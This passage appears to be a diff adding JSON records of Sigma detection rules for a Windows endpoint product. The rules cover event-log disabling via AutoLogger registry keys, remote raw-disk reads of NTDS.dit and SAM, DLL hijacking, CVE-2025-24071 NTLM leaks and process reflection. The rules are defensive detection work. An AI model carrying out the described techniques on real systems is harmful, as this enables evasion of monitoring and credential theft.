classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject:\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-*\\Start'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\Defender*\\Start'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-*\\{????????-????-????-????-????????????}\\Enabled'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\Defender*\\{????????-????-????-????-????????????}\\Enabled'\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_defender:\n        - ProcessOriginalFileName: 'MsMpEng.exe'\n          ProcessSigned: 'true'\n          ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n        - ProcessImage: '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n          ProcessParentImage: '?:\\WINDOWS\\system32\\services.exe'\n\n    exclusion_tiworker:\n        TargetObject:\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\{????????-????-????-????-????????????}\\Enabled'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System\\{????????-????-????-????-????????????}\\Enabled'\n        ProcessCommandLine:\n            - '?:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe -Embedding'\n            - '?:\\WINDOWS\\winsxs\\x86_microsoft-windows-servicingstack_*\\TiWorker.exe -Embedding'\n\n    exclusion_wevtutil:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\{????????-????-????-????-????????????}\\Enabled'\n        ProcessCommandLine|contains:\n            - 'wevtutil.exe * ?:\\WINDOWS\\system32\\drivers\\\\*.man'\n            - 'wevtutil.exe * ?:\\ProgramData\\\\*.man'\n            - 'wevtutil.exe * ?:\\Program Files\\\\*.man'\n            - 'wevtutil.exe * ?:\\Program Files (x86)\\\\*.man'\n            - 'wevtutil.exe * ?:\\WindowsAzure\\GuestAgent_*\\AzureEvents.man'\n            - 'wevtutil.exe * ?:\\WindowsAzure\\Packages_*\\AzureEvents.man'\n            - 'wevtutil.exe * ?:\\WindowsAzure\\Packages\\GuestAgent\\AzureEvents.man'\n\n    exclusion_sentinelone:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System\\{????????-????-????-????-????????????}\\Enabled'\n        ProcessCommandLine: '?:\\Windows\\system32\\wevtutil.exe install-manifest ?:\\Windows\\system32\\drivers\\SentinelOne\\\\*\\SentinelMessages.man'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ab743be0-3d7d-4e52-9134-5b3fc6ca87f8",
+  "rule_name": "AutoLogger Session Disabled",
+  "rule_description": "Detects Windows Event sources such as EventLog and Defender being disabled via registry.\nAdversaries may disable Windows event logging to limit data that can be leveraged for detections and audits.\nIt is recommended to investigate the process responsible for the registry modification to determine its legitimacy and to analyze possible malicious actions following this alert.\n",
+  "rule_creation_date": "2024-09-06",
+  "rule_modified_date": "2025-12-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "abaa5c6c-d4cb-43c4-a0cb-af78f30bbc52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097176Z",
+  "creation_date": "2026-03-23T11:45:34.097178Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097182Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/al3x_n3ff/status/1947692990874718377",
+    "https://github.com/Pennyw0rth/NetExec/blob/main/nxc/data/ntds-dump-raw/ntds-dump-raw.ps1",
+    "https://attack.mitre.org/techniques/T1006/"
+  ],
+  "name": "t1006_remote_raw_device_access_via_powershell.yml",
+  "content": "title: Remote Raw Device Access via Powershell\nid: abaa5c6c-d4cb-43c4-a0cb-af78f30bbc52\ndescription: |\n    Detects a remote raw device access using PowerShell.\n    Accessing raw devices on a remote computer using PowerShell is suspicious as it allows direct interaction with disk data, bypassing the operating system’s security controls and file permissions.\n    This kind of access can expose sensitive system files like NTDS.dit or SAM, which contain user credentials and authentication data.\n    If abused, it can lead to privilege escalation, credential theft, or complete system compromise.\n    It is recommended to check the PowerShell script linked to the process and pivot on the source IP for suspicious activities.\nreferences:\n    - https://x.com/al3x_n3ff/status/1947692990874718377\n    - https://github.com/Pennyw0rth/NetExec/blob/main/nxc/data/ntds-dump-raw/ntds-dump-raw.ps1\n    - https://attack.mitre.org/techniques/T1006/\ndate: 2025/07/23\nmodified: 2025/10/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1006\n    - attack.credential_access\n    - attack.t1003.002\n    - attack.t1003.003\n    - classification.Windows.Source.RawDeviceAccess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: raw_device_access\ndetection:\n    selection:\n        Device: '\\Device\\Harddisk?\\DR?'\n        ProcessProcessName:\n            - 'Powershell.exe'\n            - 'wsmprovhost.exe'\n            - 'winrshost.exe'\n\n    selection_remote_thread:\n        SessionLogonType: 3 # Network Session\n\n    selection_remote_proc:\n        ProcessSessionLogonType: 3 # Network Session\n\n    condition: selection and 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "abaa5c6c-d4cb-43c4-a0cb-af78f30bbc52",
+  "rule_name": "Remote Raw Device Access via Powershell",
+  "rule_description": "Detects a remote raw device access using PowerShell.\nAccessing raw devices on a remote computer using PowerShell is suspicious as it allows direct interaction with disk data, bypassing the operating system’s security controls and file permissions.\nThis kind of access can expose sensitive system files like NTDS.dit or SAM, which contain user credentials and authentication data.\nIf abused, it can lead to privilege escalation, credential theft, or complete system compromise.\nIt is recommended to check the PowerShell script linked to the process and pivot on the source IP for suspicious activities.\n",
+  "rule_creation_date": "2025-07-23",
+  "rule_modified_date": "2025-10-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002",
+    "attack.t1003.003",
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "abbb7ec2-813f-443e-a4d3-e37e6ed19e80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081452Z",
+  "creation_date": "2026-03-23T11:45:34.081454Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081459Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tar.yml",
+  "content": "title: DLL Hijacking via tar.exe\nid: abbb7ec2-813f-443e-a4d3-e37e6ed19e80\ndescription: |\n    Detects potential Windows DLL Hijacking via tar.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tar.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\archiveint.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "abbb7ec2-813f-443e-a4d3-e37e6ed19e80",
+  "rule_name": "DLL Hijacking via tar.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tar.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "abc0e1a7-b33c-40ca-9b53-f5ffa6da9f45",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604538Z",
+  "creation_date": "2026-03-23T11:45:34.604541Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604548Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cti.monster/blog/2025/03/18/CVE-2025-24071.html",
+    "https://github.com/0x6rss/CVE-2025-24071_PoC",
+    "https://attack.mitre.org/techniques/T1187/"
+  ],
+  "name": "cve-2025-24071.yml",
+  "content": "title: Explorer CVE-2025-24071 NTLM Hash Leak Vulnerability Exploited\nid: abc0e1a7-b33c-40ca-9b53-f5ffa6da9f45\ndescription: |\n    Detects the possible exploitation of CVE-2025-24071 related to Windows Explorer.\n    Windows Explorer processes certain file types automatically upon extraction even if the file is never explicitly opened or clicked on by the user.\n    Upon extraction of a '.library-ms' file, Windows Explorer attempts to resolve the SMB path automatically.\n    This action triggers an implicit NTLM authentication handshake which can be abused for credential access or NTLM relay.\n    It is recommended to investigate the created file for suspicious content and to search for suspicious authentications by the user following this alert.\nreferences:\n    - https://cti.monster/blog/2025/03/18/CVE-2025-24071.html\n    - https://github.com/0x6rss/CVE-2025-24071_PoC\n    - https://attack.mitre.org/techniques/T1187/\ndate: 2025/03/20\nmodified: 2025/08/20\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1187\n    - attack.t1204.002\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Exploit.Explorer\n    - classification.Windows.Exploit.CVE-2025-24071\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith: '.library-ms'\n        MinimalStackTrace|contains: 'zipfldr.dll'\n        Image: '?:\\Windows\\Explorer.exe'\n\n    condition: selection\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "abc0e1a7-b33c-40ca-9b53-f5ffa6da9f45",
+  "rule_name": "Explorer CVE-2025-24071 NTLM Hash Leak Vulnerability Exploited",
+  "rule_description": "Detects the possible exploitation of CVE-2025-24071 related to Windows Explorer.\nWindows Explorer processes certain file types automatically upon extraction even if the file is never explicitly opened or clicked on by the user.\nUpon extraction of a '.library-ms' file, Windows Explorer attempts to resolve the SMB path automatically.\nThis action triggers an implicit NTLM authentication handshake which can be abused for credential access or NTLM relay.\nIt is recommended to investigate the created file for suspicious content and to search for suspicious authentications by the user following this alert.\n",
+  "rule_creation_date": "2025-03-20",
+  "rule_modified_date": "2025-08-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1187",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "abd22bb7-da7f-471d-ae9e-e11e212e7008",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593934Z",
+  "creation_date": "2026-03-23T11:45:34.593938Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594002Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_qprocess.yml",
+  "content": "title: DLL Hijacking via qprocess.exe\nid: abd22bb7-da7f-471d-ae9e-e11e212e7008\ndescription: |\n    Detects potential Windows DLL Hijacking via qprocess.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'qprocess.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\utildll.dll'\n            - '\\winsta.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "abd22bb7-da7f-471d-ae9e-e11e212e7008",
+  "rule_name": "DLL Hijacking via qprocess.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via qprocess.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ac265b31-0ca8-4933-8aea-121377e29f69",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090235Z",
+  "creation_date": "2026-03-23T11:45:34.090237Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090241Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1071_001_eqnedt32_network_connection.yml",
+  "content": "title: Office Equation Editor (EQNEDT32) Network Connection\nid: ac265b31-0ca8-4933-8aea-121377e29f69\ndescription: |\n    Detects when EQNEDT32.EXE performs a network connection.\n    This is a possible exploitation of CVE-2017-11882 related to EQNEDT32.EXE which will trigger the download of a payload from an external server.\n    It is recommended to investigate the file opened by Office at the time of detection, and any suspicious actions taken by the detected process to determine if this action was legitimate.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2021/01/12\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.001\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Exploit.CVE-2017-11882\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection:\n        Image|endswith: '\\EQNEDT32.EXE'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ac265b31-0ca8-4933-8aea-121377e29f69",
+  "rule_name": "Office Equation Editor (EQNEDT32) Network Connection",
+  "rule_description": "Detects when EQNEDT32.EXE performs a network connection.\nThis is a possible exploitation of CVE-2017-11882 related to EQNEDT32.EXE which will trigger the download of a payload from an external server.\nIt is recommended to investigate the file opened by Office at the time of detection, and any suspicious actions taken by the detected process to determine if this action was legitimate.\n",
+  "rule_creation_date": "2021-01-12",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ac406f1f-081b-4df3-b466-c4448d600409",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627179Z",
+  "creation_date": "2026-03-23T11:45:34.627181Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627185Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/deepinstinct/Dirty-Vanity",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_possible_process_reflection.yml",
+  "content": "title: Possible Process Reflection via Windows Fork API\nid: ac406f1f-081b-4df3-b466-c4448d600409\ndescription: |\n    Detects the reflection of a Windows process using the Windows fork API.\n    Attackers can use process forking to inject processes with shellcodes while evading detection since the modified process is the cloned one.\n    This technique can be used to hide malicious tasks inside legitimate processes as well as silently dump process memory for credential access and privilege escalation.\n    It is recommended to check for malicious actions by the process created the remote thread and the injected one.\nreferences:\n    - https://github.com/deepinstinct/Dirty-Vanity\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/01/04\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        StartFunction|contains: 'RtlCreateProcessReflection'\n\n    # This is handled by the rule 00ff5814-36a0-4bb9-8426-599b30b414a1\n    exclusion_lsass:\n        TargetImage|endswith: '\\lsass.exe'\n\n    exclusion_werfault:\n        ProcessImage:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\syswow64\\WerFault.exe'\n        ProcessParentCommandLine: '?:\\Windows\\System32\\svchost.exe -k WerSvcGroup'\n\n    exclusion_rdrleakdiag:\n        # C:\\WINDOWS\\system32\\RdrLeakDiag.exe -p 10768 -h 25 -tp 2 -cleanup -watson -unnamed -wait 240\n        ProcessImage:\n            - '?:\\Windows\\System32\\rdrleakdiag.exe'\n            - '?:\\Windows\\syswow64\\rdrleakdiag.exe'\n        ProcessCommandLine|contains|all:\n            - 'RdrLeakDiag.exe'\n            - '-cleanup'\n            - '-watson'\n            - '-unnamed'\n\n    exclusion_thor_apt_scanner:\n        ProcessOriginalFileName: 'thor64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Nextron Systems GmbH'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ac406f1f-081b-4df3-b466-c4448d600409",
+  "rule_name": "Possible Process Reflection via Windows Fork API",
+  "rule_description": "Detects the reflection of a Windows process using the Windows fork API.\nAttackers can use process forking to inject processes with shellcodes while evading detection since the modified process is the cloned one.\nThis technique can be used to hide malicious tasks inside legitimate processes as well as silently dump process memory for credential access and privilege escalation.\nIt is recommended to check for malicious actions by the process created the remote thread and the injected one.\n",
+  "rule_creation_date": "2023-01-04",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ac4f7776-e1b3-49ea-b9de-b82d05ad3952",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090981Z",
+  "creation_date": "2026-03-23T11:45:34.090983Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090987Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_checknetisolation.yml",
